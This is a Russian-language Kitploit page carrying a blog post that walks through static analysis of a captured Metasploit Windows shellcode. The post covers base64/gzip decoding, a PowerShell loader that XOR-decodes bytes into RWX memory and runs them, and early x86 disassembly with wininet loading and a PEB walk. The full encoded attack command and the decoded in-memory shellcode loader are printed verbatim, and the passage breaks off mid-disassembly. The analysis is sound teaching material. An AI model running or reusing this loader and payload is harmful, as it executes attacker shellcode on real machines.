Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
msf_shellcode_analysis — Пошаговый разбор статического анализа шеллкода Metasploit для Windows: декодирование PowerShell-полезной нагрузки, XOR-обфускация, обход PEB и разрешение адресов через таблицу экспорта. | Kitploit
Инструменты/GitHubGitHub/yo-yo-yo-jbo/msf_shellcode_analysis
Статический анализОбратная инженерияШелл-кодАнализ вредоносных программАнализ Бинарных ФайловОбучение и Образование
GitHubyo-yo-yo-jbo/msf_shellcode_analysis

msf_shellcode_analysis

Пошаговый разбор статического анализа шеллкода Metasploit для Windows: декодирование PowerShell-полезной нагрузки, XOR-обфускация, обход PEB и разрешение адресов через таблицу экспорта.

Репозиторий
28351 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Статический анализ шеллкода Metasploit

Для первого поста в блоге, думаю, будет полезно разобрать распространённый шеллкод Metasploit — это отличная возможность обсудить такие темы, как кодирование, PEB, Windows-шеллкоды и таблицы адресов экспорта.

Начало работы

Начнём с перехваченной длинной командной строки:```powershell "powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAWABXADIALwBpAFMAQgBaACsARAByAC8AQwBEADUARQBBAFEAWQBpAE4AQwBZAEYAZQB0AFQAVAA0AGgAawAzAEEARQBHAHkAdQBtAFMAZwBxADcAQQBJAE0AdgB1AEIAeQBHAFQARABUAC8AZAAvAG4AMgBFAEEAbQB2AFoAMwBlAGIAVwBrAFgAeQBhAEsAcQBmAEsANwBmAHUAZABTAHgAZwBlAG0AZABRAFkAbABqADAAVgA1AGcAWQArAFoAdQBqAEUAbgBrAEIARAA1AFQAegBlAFYAdQBwAFUAQwBqAHoARgBmAG0AagAzAHgAdQBHAGYAcwBXAFQAWQAvAFQAeABkAHMASwAwADcAYwBkAEMAYQB3ADMAWgBOAHMARQBSAHgASAB6AFYAKwA1AG0AZwBBAGoAeQBtAE0ATAB0AEgAcABFADMATAA3AEIAagBGADUAZQBaAGIASgBNAFMAWQBqAHMAbQB1AEgAaAB6AGsANwB2AEoAagBtAEkALwBRAGsAdgA4ADUAaQBQAHEANwBQAEcAYgBoACsAawA2AHMAQwBOAFEAVgBIAGgAcAA3AFgAWgBTADQAQwBIAEgAZgAvADMAeQBSAFkAdwBKAHcAVAA0ADkANwB5AHQAdABUAEYAdABSAGgATAAyAEYANgArAEMAbwBVAEcAUwArAE0AWgBNADEASgB2AGkAdQB2ADkAaABnAGkAegBKAC8ATQBiAGQAdgBsAGIAWQBiAEwASgBCADcASQBVAHQARQBaAEsAMwBCAG8AWgBaAHYAcAArACsANgBnAFkAVgBTAEQAeQByAEcAegBuAFYAbwBJAGYALwBuAG4ALwBuAGkAeQB4ADMAMwBXAHAASABEAEcATABsAFIASQBXADgAawBFAGMAVgBlAHgAWABiAGQAZgBKAEgANQBYAGsAdwBWAG0AcwBrAE8ARgAvAEkAOQB4AHkASgBCAEYAQwB4AHAAWgBlAEwANABmAEwAVQB5AHkAcQB6AFgATQArAE4ANwBaADkAdgB6AHgAWQB0AG4AcQB4ADAAQwBQADMANwB0AFoAQwByADEAegBGAFAASQB3ADMASQBBADIATABUAE8ARwBPAGIATAB6AEUAdQBxADcAKwBYADEAbABmAG4AagAzAFoAcABoADcARgBQAEgAdwB4AFgATgBwADUAZwBFAE8AdwBPAFQAdgBXAFAAaABxAEsASQBpADMAMwBiAHgARQBDACsAQgBMAFIAOQBCACsAUAB4AFYAdgBnAGgARwBFAEUAeABqADQAagBOAFgAVwA0AEIAdgBIADIAeAB4ADQAZABhAFAAWABiAGMATQBjAGwAOQArAFYAKwA1AHIAUQBjAGUASABLADcAaQAvAHkAMQBUADQAeQBBAFIAVQBBADAAcQBLADUAVQB0AE8ALwBBADQAYwB2AFMAeAB2AHoAdQBMAEEAbgBaACsAcwAvADUAQgBjAFIAZgBqADkAbABHAEQARgAzAFAAZgBjAEoANgBsAHEAWQB4AGUAdgBFAE0AVgB2AEYAUABEADkAawBLAHUANQBtADUAdQBYAGIASQBuAEIAbgA4AEkAZwBpAEoAeQBNADcAeQB2AEQAbABwAGsAZQBHAEkARgBvAFEASgBJADAAbgBDAGEASgBjAGYASAAxAG4ALwBpAGMAMQBWADQANQBvAC8ASQB2AEIAWABGAFgAcgBnAHYAUABPAFQAeABuAE8ANwA0AHkATAArAFAAQQBzAFYAOQB6AE4AOABYAGMASgBYAHYAUwA4ADcAZABGADcATABnADIASgB1AG4ANwBYADEAZQBEAGgASgBlAE8AagA2AFgARQBSADUANQBqAFgAUgBPACsAOABGAG4ATQA4AE4ATABGAEcAUgA2AFYASwA1AGsATwBkAGgAYgB5AGwAeABmAFkAbABpADcAbwA1AEYATgBBAFgAMwA1AG0AawB6ADIASAB2AHYATQBLAFoAKwBOAGEARgBzAFEAOQBBAHEAcwBnAEoAWQBvAC8ARwBuAE8ATwBZAFMARwB2ACsAVAAzAHMAQQBYADcAbgBQAGEAVABwADcAUgBMAEsARABGACsAcABMADYAVwBWAFgATABXAG4AKwB6AFMAWABSAFIAZABGAFUAWgBrAFoAeABGAEQAbgBWAHAAawB4AE0ASABLAHgAWABXAFoAYQBmAHUAUgBjAFgAcgBWAGkARwBtAFQATAAvAEQALwBtADkAbQBLAFgATwBoAGEASwA2AEYAWABjAGEALwBFAFQAUwBDACsAcQB4AGMAQwBIAGkAbwBrAHQAaQBDADcAQQBZAEIAbwA3AGIARABuAEkAVABWAEUAcABNADYAcABqAFkAeQBFAHgAbgBOAFgAVgBoAFAAeQBuAG0ASQBqAEkAZABhAEgAawBRAE4ASQBlAFkAZwBJAG4ASwBSAFkARwBUAFgATwBHADIATwBWAC8AegA0ADkAaQB4AGMAQgBVADgAMwBZAHUAOQBvAEEANgA2ADAASwBLAGkAMQBiAFEAYwB5ADQAVgBsAGEAVQBiAFcAbQBFADcALwB4AC8ATQB2AHQAYgBKAHUAUwBoAFMAcgBLADQAZwBmAFQAQQBhAEUAcwBCAHcAQQAxAHAAbQB4AGcANgBoADAATgBmAHkANQBaADgAUwA3ADMAOAB6ADcAOABjAFcAOAA0AE8AWgBJAHMARwBYAFEAQgBhAHkAUQBuAHcAUgBFAHAAcQBXAFMAMABaAHAAcABaAGYATAAxADMAYwBzAE0AKwBRAEkAQgBkAFEAVQBFAG4AZwBDAGkAbgBDADkAWgBtAFIAdAByAEoARABuAEcAMwBHAG8ASgBiADMATgBjADUAMgAwADUAYgAyAGkAaABxAHAAcwB3AHIATwBIAGgAdwA4AFYAdQBkAHYAdABEAEgAZgBDAHMARwB2AEoAYwBYACsAZwBzAHAAMgBsADkAdAB5AFEAYQB2AEUAaAAxAG0ASgBUAFkASABtAEYAQgBiAHAAVAAyAEoAYQBYADIAcgA0AGYAegBMAGoAWQBxADMASAAyAFQAdAB2AHIAYwBCAFkAOQBoAG0AbwBrAGEAWAB1AHAAcABWAGIARABRAEsAbQB2AG4ATwBaAEYAegBwAG4ALwBlAFgASABnAEYAbABOAE4AZQBWAHkAMABsAFoAbwA2AGoAcABTAFUAWAB0AFgAMgBnAGgASwBLAHoAUQBEAFcAOQA5AHAAZQBEAEQAcgBBADEANgBqAHYAZgBPAEYAZwAxADcARABjAHEAZQBOAHAAMQB6AHIAdwB0AEkASABSADYAcABnADgAagBVAHMARwB5ADcAWABIAGkAZAA0AGQAeQB6AHYAZAA4AE8AMwB1AGcAbgB0AFcATwB2AHEAcABtAG8AQgBQADQASgBmAEIAcQAwAFAAVwBoAHMAYwA0AHUAdAB3AGsATQBLADEAbQBGAEsAcQBwAHYAMQBqAG8AaABwAGIAZgA2AFcAaABxAEoAegBFAGUAVgBvADYAVwA2AEEAZQBMAHAAVwB4AEkAVABpADQALwBtAEoAKwBTAHMAQQBIADgAZQBnADAAdwBPAFIAcABKAGIAMQBpAHIAMgAwAGQAcgBxAGgAeQBzAHEAZAA1AE4AMQBKAG4AZQBCAGgAMQBoAFAARgBuAFYAVgBMADAAYgBIAEYAcwBiAHIAVQA0AGsAdwA3AEIAUABoAG4AbgBrAEQARwA3AHUANwB0AEgAVQBhAHYAcQBIAFQATAA5AGgASAB3AC8AMgBLAE8AcAAzAFQARAByAGoAQgA4AGkAcgBKAFkAbABmAE4ANwBTAE4AZAB1AHgAYQBPAHoAcQBlAGQAdQBvAEUASgBlAEsAdQA2ACsAQwBGAHMASwBTAHAAMwBFADUAMwB2AHUAbwAwAFoAVgBqAEwAOQBNAGcAYQB4AGoAQwB4AFEAYQArAHIAbQB0AEkAVAA2AFAAWABGAFgAZwA5ADgAUQBBAC8ASwBiAEkAdgA1AHcAZABOAEUAUAAxAG0AOAAwAEwAVQBTAG8AbwBFAGYAZwA2AGUANgBBADcASQBiAHQATQBmAEQAdQBhAFIAMgBUAE8AegBKAG0ALwBWAGsAdwBYAGIAdgA1ADQANwBxAGoAbwBWAG8ANQBVADMAQgAxAHIAMwBDAEMAcQBqAFoAZgA4AFMAcwBsAGcAagBTAGIATwA2AGIAcABjADcAagBWAGoAZQA1AFcAVwAwAHAAegBzAGEAVwA0AE8AcwB6AGkAUwBUAHgANQBtAEIAVwBSADgAWQB6AEkAYQBFADQAOAA1AHQAMgBTAFYAcgAzAEgAUABOAFEANQBZAGoAcwBEAFoAUwBxAFcATABJADIAVQBwADgAZgBpAEgAcAAxAEoATQArAEgAawB0AGUAUgBoADEAdAB1ADIAbgA3AFcAWQAyAE0AcgBEAEUAMQBGADYAQQAzAEgAVgBuACsAbQBLAEcAagBFADIAYgAyAFoAcgA0AGUAUwBNAE4ASgBsAHAANwBiAFQANgBqAFMAYQArAEYANQBIADIAbABSAFgAdwBpAEgAdwB4AEoAcABMAEgAKwBlAGMAZABQAEsAawBSAGYAdQBoAFcAVwBWADcALwB0AHAAQgBhAHUAZwAxAGgAdwB2AFAAVgA3AGwAQgBzAGcANwBrAGIAYgBjACsAbgBvAHgASABiAHQAUwBVADEAcAB6AFgAdQBwAGYAbABoAGoAbwBYAEoAcQB2ADcASgBoAEcATgBoAEgAOABvAEwAVgBsAFIAbwBNAE8ASgB2AHkARwBHAGYASQBqAHEALwBuAHIAZQBxADYARgBtAGoAVABYAEcATQBlAEkAZQAyAGcAbwBWAGsAMQBEAFgANQB1AHQAawBMAFkALwBOAG0AUwBWAHQAYQBKAHUAcQA0ADYAUABxAEsAZQB6AGoAWQB5AGYAdQBxAEUASQBzADkAMABmAG0ASwB2AFQAawBiAGQAUQBZADcATABnAGgASwBkAFUANAAzADYAYgByAEoARQBtAFEAZABOAFQAWAB6ADkAUABKAG8AZQBGADEAVABuAFMARABxADAATABvADAAdABPAGoATQA5AHoAegBoAHQAdAByAGoAWQBpADQAdgBQAGMAcwBQAGgAUwByADcAUAAzADgAaABIAGgAVQBHAGsAcwBQAC8AaQBDAHUARwByAHYAVgBZAC8AMQBBAEoAeQAyADcAcABEAHkATAA5AG0ASABRADMAMQBDAEwANAAwAHYAeAAwAFQAUwBmAFAAZgBYAG8AMQBMAGYAVgBKAHYAZgBVADUATQBtADQAMABWAEkAcwBhAGIASwB4AEEAOQBPAGYAaQBOADYAdwB0AFYAWgB4AEQARABuADEANQBGAEUAYQBTAGEAZgBsAGcAbgBpAG8AUABtAG4AYwBEADQAUgBHAGUAMwAyAGEASgB0AHUAQgB5AGIAdAAwAC8AUABRAFEAYwBIADEALwBLAFoAcwBMAGQAcgBpADQAZAB6AHEAQgBGAEEAbAB6AGIAVwBNADAAKwA1AFAAVgBGAEgASgB4ADYAMgA0AGcAagAwACsAUQAwADEAMQA0AE4AaABvAC8ANwBPAEsAYQBmAFQAaABDAGoAawBXAGQASQBLADIAVgBqAGIAYgBmAEoAZABZAFQAawBXADAANQAyAHIAUgBnAGIANgBuAGoAYgBtADgAeABDAFEALwAyAHEAYgBxAEwAOQBlAGsARABXAG0AMgAxAFcASQBRAGEAWAA3AFIAeABTAGUAcQBHADkATgBIAGkAWgBUAG8AWgBiAGUAZABQADUAcQBpAGwAUAA4AHYASAB2AHMAWQAvACsAUAB5ADIAOQBqAFgAdABYAHMAdQBBAHcARAB4AHkAVABPAC8ANABmAHoASAB3AGYAKwBkAFMANQByADAALwBRAFYAZQBDAGgAcABlAGUAbAAwAHIARgBkAEUANQA0AGYALwBOAHkAZQAzAHkAOQB6AG4AWAB2ACsANwB2AEYARQBhAFQAeABEADIAbQB2AHkAOQA3AHMAMABZAGMATwA5ADYAdABoAHEAWQBkAEkAdABFAFkAdQBkAEQANABZAGUASwA3AFgAbABSAEkAUQA1AFQASwAyAEQAQQBJAG4ANQBTAGcAVQBQAHAAKwAwAHQANQBqADQAMgBJAFUAcABGAE8AYgBVAGEANQBOAHYAdQBXADUAZwBwAFkAUABXAEwAeQBZAGUARwBQAHYATwB3ADkAZwByAFgARwBZAGoAVwBQAEwAVgBUADEAZABGADUAcAAwAFEAcABxAHUAegBUADQAdAA0AHUAYwB5AEcAawBZAHUASAAxADUAbgBzAFMAdgBqAGwAeQB4AHoAYwBLADMAOABBAHMAWQB2ADkARgBWADIAWABHAGYAYgBJAHMAeQB5AGIALwB0AGYAWQBZAHUANwAzAFkAUgBHAEQAWABWAEoANABGADEAZABPAGgANwBFAFAAbABuAHoAVQA1AEcAYQBhAGkAaABmADAAUwBlAHgANwArAFAAOABZAGcAQgArAFUALwBuAGQAbwBVAC8AQwB5AGUAZQA0AGQAdQBzAHkAZwB6AC8ARQBxADUAdgBKAC8ANQBIAEwAYQBrAHYAbAB3AEgAagBrAG4AKwBGAHIAQgBJAGQAUABJAGMAaQArAGkAaQBOAEMANwBUAGIAQwBBAFQANQB2AHMAcgBpADcAYwBvAGkASwBqAHkAVgBQAG0ARgBqAEgAZgBtAFQAdAB3AHIAeABYAHgAVgBmAGkAKwBJAGEAcwA0AHYAYgBpAFoAOAArAGYAYQBOACsAYQBBAG4ARABQAGoATgAyAGEASQBMAFEAegBqADkAbAAwAG4AVwBFAEMAVwBZAHAAaQAvAFUAdABHAFoAawBKAFEAWQB6AHYANABHAHMAegBBAEwASgB2ADgATgBBAEEAQQA9ACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA

root@kitploit:~
Это закодированная в [base64](https://en.wikipedia.org/wiki/Base64) командная строка PowerShell (на что указывает флаг `-encodedcommand`). При декодировании она выглядит так:```powershell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

Эта полезная нагрузка выполняет ещё одно декодирование base64 (части, начинающейся с "H4sIA...") и сохраняет его в поток памяти ($s). Затем она обрабатывает его как сжатый поток (gzip), распаковывает его и выполняет содержимое (с помощью IEX). Распаковать это довольно легко - можно использовать PowerShell, CyberChef или даже Python:```python import io, gzip, base64 x=b'H4sIAAAAAAAAAK1...' # Omitted print(gzip.GzipFile(fileobj=io.BytesIO(base64.b64decode(x[:]))).read().decode())

root@kitploit:~
Вывод содержит больше команд PowerShell, на этот раз с более сложной логикой:```powershell
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
        Param ($var_module, $var_procedure)
        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
        $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
        return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
                [Parameter(Position = 1)] [Type] $var_return_type = [Void]
        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHJTemEjhWb0L/ZiHlVBsgmXSSdvF0Ba9O7e0IyBDYZnT+J7kNT1Y4fCYVcBnNYDryujwT2USQrrqCYn9d+DhMiTw21rEmPF2C+cjDO3PCN2UEZRDmJERk1XGQNuSkBRTFBMRVcOYFFaU1dMYnNqDBUNEi4pI6tsWnmJDj2gBwomC4lt7Z1DzmDbG5920MnhiaHqm9RbmnH1PyhoEkL6VWVUls9Dh1mA/EE8HZBWg/9rCSy35+f0CBtRWnjrSEws6nhZM4a940SVua15GFtCyqNIZhyhEVTYcDjtGtHVxHmF077JuJHBuEOUTgqmEks8Pp1Rr+41ndthyyyaDxNhQXWw8mJztje2Bqltz7iRv3SlMAUrCf/mc3qC20/Zza3a+VD5nPu2Spg76wtWAd+FQCdwPOjtc13+uxTTQmHxi6k291K93rV8AFcDWjdoTnWCmRAhHeu1S1KmttsDzfbrma6W8/PB8GhzXykPT3ltVK5o1OnfETb0Rb/iJoDsBZIjS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3EtWUkZKTUANQExOI35n3k4=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
        $var_code[$x] = $var_code[$x] -bxor 35
}

$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@

If ([IntPtr]::size -eq 8) {
        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
        IEX $DoIt
}

Давайте разберём:

  • Переменная $DoIt содержит большую часть логики. Она определяет функцию func_get_proc_address, которая является всего лишь обёрткой для kernel32!GetProcAddress, и использует функцию func_get_delegate_type для получения рефлексивного делегата.
  • Переменная $var_code — это ещё одна (!) полезная нагрузка в base64, но в этот раз это менее очевидно: при наивном декодировании получается мусор.
  • Переменная $var_code побайтово обрабатывается операцией XOR со значением 35. Это уже объясняет, почему её декодирование не даёт строк, но даже после XOR результат без правильного контекста всё равно не выглядит обнадёживающим.
  • Следующие несколько строк выделяют буфер с помощью функции kernel32!VirtualAlloc. Она вызывается для выделения буфера (сохраняется в $var_buffer) с flAllocationType=0x3000 и flProtect=0x40. Как видно из MSDN, тип выделения — MEM_COMMIT | MEM_RESERVE, а защита страниц — PAGE_EXECUTEREADWRITE.
  • Полезная нагрузка, находящаяся в $var_code (декодированная из base64 и обработанная XOR с константой 35), копируется в буфер и затем выполняется (с помощью делегата $var_runme).
  • Обратите внимание на последнюю часть кода: она проверяет, равен ли размер указателя 8. Если да (т.е. 64-битный процесс), код будет запущен как новое 32-битное задание. В противном случае просто выполняется $DoIt.

Это говорит нам о том, что полезную нагрузку, закодированную в base64, следует рассматривать как 32-битный шеллкод. Давайте ещё раз проанализируем его статически, применив XOR и записав в бинарный файл:```python import base64 x=b'38uqIyMjQ6rGEvFHqHE...' # Omitted open(r'/tmp/payload.bin', 'wb').write(bytes([ i^35 for i in base64.b64decode(x) ]))

root@kitploit:~
Вот здесь начинается самое интересное. Вы можете использовать свой любимый дизассемблер (IDA, Binary Ninja и т.д.).
В вашем распоряжении даже есть отличные [онлайн-дизассемблеры](https://shell-storm.org/online/Online-Assembler-and-Disassembler), если вас не беспокоит opsec.
Начало шеллкода находится по смещению 0, и код следует рассматривать как код X86.

## Обход PEB
Код начинается с инструкции CALL:```assembly
0x0000000000000000:  FC                         cld        
0x0000000000000001:  E8 89 00 00 00             call       0x8f

Инструкция cld очищает флаг направления (поэтому строковые операции, такие как movsb, перемещаются вперёд, а не назад), а затем выполняется относительный вызов по адресу 0x8f. Поскольку call помещает следующую инструкцию в стек, мы помним, что в стек было помещено значение адреса, находящегося по смещению 6 в шеллкоде. Давайте рассмотрим код по смещению 0x8f:```assembly 0x000000000000008f: 5D pop ebp 0x0000000000000090: 68 6E 65 74 00 push 0x74656e 0x0000000000000095: 68 77 69 6E 69 push 0x696e6977 0x000000000000009a: 54 push esp 0x000000000000009b: 68 4C 77 26 07 push 0x726774c 0x00000000000000a0: FF D5 call ebp

root@kitploit:~
Сразу после этого использовать `pop` для сохранения адреса — распространённый шеллкодинг-приём (последовательность `call-pop`).
Следующие push-инструкции интересны: на первый взгляд они похожи на странные константы, но при их декодировании как ANSI-строк обнаруживается кое-что любопытное:```python
import struct
struct.pack('<LL', 0x696e6977, 0x74656e)

Поскольку мы рассматриваем push в стек — мне пришлось извлекать их в обратном порядке и убедиться, что я использую Little Endian (это символ < в коде). Это выводит b'wininet\x00', что является именем библиотеки DLL Windows, используемой для интернет-коммуникаций. Обратите внимание, что push esp помещает в стек адрес вершины стека, что является удобным способом получить указатель на NUL-терминированную строку wininet. Далее мы помещаем в стек ещё одну константу (0x726774c) — она не декодируется ни во что осмысленное, — и вызываем ebp. Помните, что ebp указывает на фрагмент кода по смещению 6 от начала шеллкода, так что давайте рассмотрим эту часть!

Код по смещению 6 начинается с нескольких интересных инструкций:```assembly 0x0000000000000006: 60 pushad
